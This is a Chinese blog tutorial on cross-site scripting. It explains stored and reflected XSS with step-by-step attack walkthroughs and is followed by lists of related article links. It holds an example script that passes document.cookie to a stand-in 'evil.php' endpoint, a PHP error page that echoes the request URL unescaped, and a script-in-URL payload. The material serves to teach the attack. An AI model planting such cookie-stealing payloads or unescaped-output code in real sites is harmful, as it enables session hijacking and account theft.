web安全之xss攻击
xss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击。基本的做法是把恶意代码注入到目标网站。由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会无差别执行恶意脚本,从而导致用户信息和一些敏感信息被盗取和泄漏。
xss一般分为两种类型,持久化的xss和非持久化的xss。
持久化xss
下面这个例子演示了攻击者如何通过注入恶意代码去盗取用户的cookie的。
假设攻击者在某个论坛发了个帖子,在帖子里包含了如下的恶意代码
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
那么其他用户在浏览这个帖子的时候,上面的代码就会被浏览器执行,从而将用户的cookie信息发送到了/evil.php?,这个攻击者搭建的恶意站点。由于cookie里包含了用户的一些登录态和敏感信息,所以访问这个帖子的用户会面临被盗号的风险。
还原一下这次攻击的过程
- 攻击者在论坛发了包含恶意代码的帖子
- 一般来说这个帖子的内容会保存在数据库里(持久化)
- 攻击者诱导其他用户去访问这个帖子
- 其他用户访问该帖子时网站后台会从数据库里读取帖子的内容并发送给浏览器
- 浏览器渲染帖子的内容时执行了恶意脚本
- 恶意脚本将用户的cookie偷偷发送给恶意网站
evil.php
非持久化的xss
上面的例子攻击代码持久化在了数据库里,非持久化的攻击则不需要这样,看下面的例子。
假设我们有这样的一个错误页面,用php实现的
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
当用户访问的页面不存在时候,上面的页面会自动加载,并且print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);这一行会打印出不存在页面的具体url。
举个例子,当用户访问www.example.com/page_missing页面时,由于page_missing页面不存在,所以example.com会自动跳转到page_missing路径,并在页面上打印出Not found: page_missing字符串。
如果攻击者构造了这样一个链接,诱导用户访问http://wwww.example.com/<script>alert("TEST");</script>,那么普通用户访问该链接时,因为/<script>alert("TEST");</script>会被打印在页面上并当作普通脚本执行,这样一来,如果攻击者构造的脚本里包含获取用户敏感信息的代码,那么用户的信息将被泄漏。
还原一下这次攻击的过程
- 攻击者构造
http://wwww.example.com/<script>alert("TEST");</script>链接,引诱普通用户访问 - 普通用户访问后,跳转到错误页面
- 错误页面会执行恶意脚本,造成用户信息泄漏
总结
xss攻击是目前最常见的web攻击形式,大家可以通过上面的例子管中窥豹一下,其核心的攻击方式是恶意代码注入,浏览器将注入的代码当成普通脚本正常执行。
web安全之xss攻击的更多相关文章
- 安全学习笔记-web安全之XSS攻击
web安全之XSS攻击 XSS 即跨站脚本攻击,是 OWASP TOP10 之一.它的全称为 Cross-site scripting,因为 CSS 这个简称已经被占用表示为前端三剑客之一的CSS,所 ...
- WEB安全测试之XSS攻击
目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...
- 记一次JAVA WEB项目解决XSS攻击的办法(亲测有效)
什么是XSS攻击 简单来说,XSS 攻击是页面被注入了恶意的代码,度娘一大堆的东西,不想说 系统架构主要是SSM框架,服务层另外使用了DubboX. 为啥说这个,因为SpringMVC对于Xss攻 ...
- Web 安全之 XSS 攻击与防御
前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...
- web安全之XSS攻击原理及防范
阅读目录 一:什么是XSS攻击? 二:反射型XSS 三:存储型XSS 四:DOM-based型XSS 五:SQL注入 六:XSS如何防范? 1. cookie安全策略 2. X-XSS-Protect ...
- 基于web站点的xss攻击
XSS(Cross Site Script),全称跨站脚本攻击,为了与 CSS(Cascading Style Sheet) 有所区别,所以在安全领域称为 XSS. XSS 攻击,通常指黑客通过 HT ...
- 常见Web安全漏洞--------XSS 攻击
1,XSS 攻击 XSS攻击使用Javascript脚本注入进行攻击 例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端. <script& ...
- web安全(xss攻击和csrf攻击)
1.CSRF攻击: CSRF(Cross-site request forgery):跨站请求伪造. (1).攻击原理: 如上图,在B网站引诱用户访问A网站(用户之前登录过A网站,浏览器 cookie ...
- 使用 PHP 构建的 Web 应用如何避免 XSS 攻击
本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...
随机推荐
- [k8s]metricbeat的kubernetes模块&kube-metric模块
正确姿势启动metricbeat metricbeat.modules: - module: system metricsets: - cpu - filesystem - memory - netw ...
- C#实现麦克风採集与播放
在网络聊天系统中.採集麦克风的声音并将其播放出来.是最基础的模块之中的一个.本文我们就介绍怎样高速地实现这个基础模块. 一. 基础知识 有几个与声音採集和播放相关的专业术语必需要先了解一下,否则.后面 ...
- Memcached安装以及PHP的调用
Memcached安装以及PHP的调用 [南京·10月17日]OSC源创会开始报名:Swift.大型移动项目构架分享 » 一:安装libevent 由于memcached安装时,需要使用libeven ...
- Mac OS下配置PHP Nginx PHP-FPM
首先需要安装homebrew, 不赘述了 php-fpm php-fpm是mac下自带的软件, 而且兼容不同的PHP版本, 不用额外安装, 但是fpm是需要配置的, 在/private/etc下有个模 ...
- Flume线上日志采集【模板】
Flume线上日志采集[模板] 预装软件 Java HDFS Lzo/Lzop 系统版本 Flume 1.5.0-cdh5.4.0 系统流程图 flume-env.sh配置文件 export JAVA ...
- CodeForces 1A Theatre Square
A - Theatre Square Time Limit:2000MS Memory Limit:65536KB 64bit IO Format:%I64d & %I64u ...
- 改进cocos2dx中lua读ccb的方法
cocos2dx自带的CCBProxy真弱,还好提供了一个CCBReaderLoader.lua,但是也不好用, 于是修改了一下CCBReaderLoader,下面直接贴代码了. function N ...
- Spider Studio 新版本 (20140108) - 优化设置菜单 / 生成程序集支持版本号
本次更新包含两项改进: 1. 优化了设置菜单, 去掉了一些不必要的浏览器行为设置选项: 取而代之的是在脚本中由用户自行设置: public void Run() { Default.CaptureNe ...
- 微信小程序 - Util工具类
/utils/utils.js 已经扩展到App对象中,Page方法中直接使用 app.util.method(...) 调用. 1. 扩展String.replaceAll JS默认值提供re ...
- php之道
PHP The Right Way. Tweet 欢迎 目前网络上充斥着大量的过时资讯,让 PHP 新手误入歧途,并且传播着错误的实践以及不安全的代码.PHP 之道 收集了现有的 PHP 最佳实践.编 ...